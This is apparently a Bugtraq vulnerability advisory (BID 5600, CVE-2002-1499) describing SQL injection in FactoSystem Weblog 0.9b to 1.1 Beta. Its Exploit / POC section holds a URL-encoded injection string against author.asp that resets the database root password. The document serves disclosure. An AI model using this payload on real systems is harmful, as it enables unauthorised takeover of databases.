FactoSystem Weblog Multiple SQL Injection Vulnerabilities

BID:5600

Info

FactoSystem Weblog Multiple SQL Injection Vulnerabilities

Bugtraq ID: 5600
Class: Input Validation Error
CVE: CVE-2002-1499
Remote: Yes
Local: No
Published: Aug 31 2002 12:00AM
Updated: Jul 11 2009 03:56PM
Credit: Vulnerability discovery credited to Matthew Murphy <[email protected]>.
Vulnerable: FactoSystem FactoSystem Weblog 1.1 Beta
FactoSystem FactoSystem Weblog 1.0 Beta
FactoSystem FactoSystem Weblog 0.9 b
Not Vulnerable:

Discussion

FactoSystem Weblog Multiple SQL Injection Vulnerabilities

FactoSystem Weblog is a freely available, open source software package for weblogging and managing content. It is available for Microsoft Windows operating systems.

FactoSystem does not adequately filter special characters from requests. Because of this, it may be possible for a remote user to submit a request containing encoded special characters and SQL, and execute arbitrary commands. This could lead to execution of SQL commands in the security context of web database user.

Exploit / POC

FactoSystem Weblog Multiple SQL Injection Vulnerabilities

The following example was contributed by Matthew Murphy &lt;[email protected]&gt;:

http://www.example.com/author.asp?authornumber=1%28%20And%20AuthorTable%2EAuthorID%3DBlurbTable%2EAuthorID%20And%20BlurbTable%2ESub_id%3DSubjectTable%2ESub_id%20Order%20By%20BlurbTable%2EBlurbdate%20desc%2C%20blurbtable%2Eblurbtime%20desc%3BUPDATE%20user%20SET%20Password%3DPASSWORD%28%27password%27%29%20WHERE%20user%3D%27root%27%3B%20FLUSH%20PRIVILEGES%3B--

Solution / Fix

FactoSystem Weblog Multiple SQL Injection Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

FactoSystem Weblog Multiple SQL Injection Vulnerabilities

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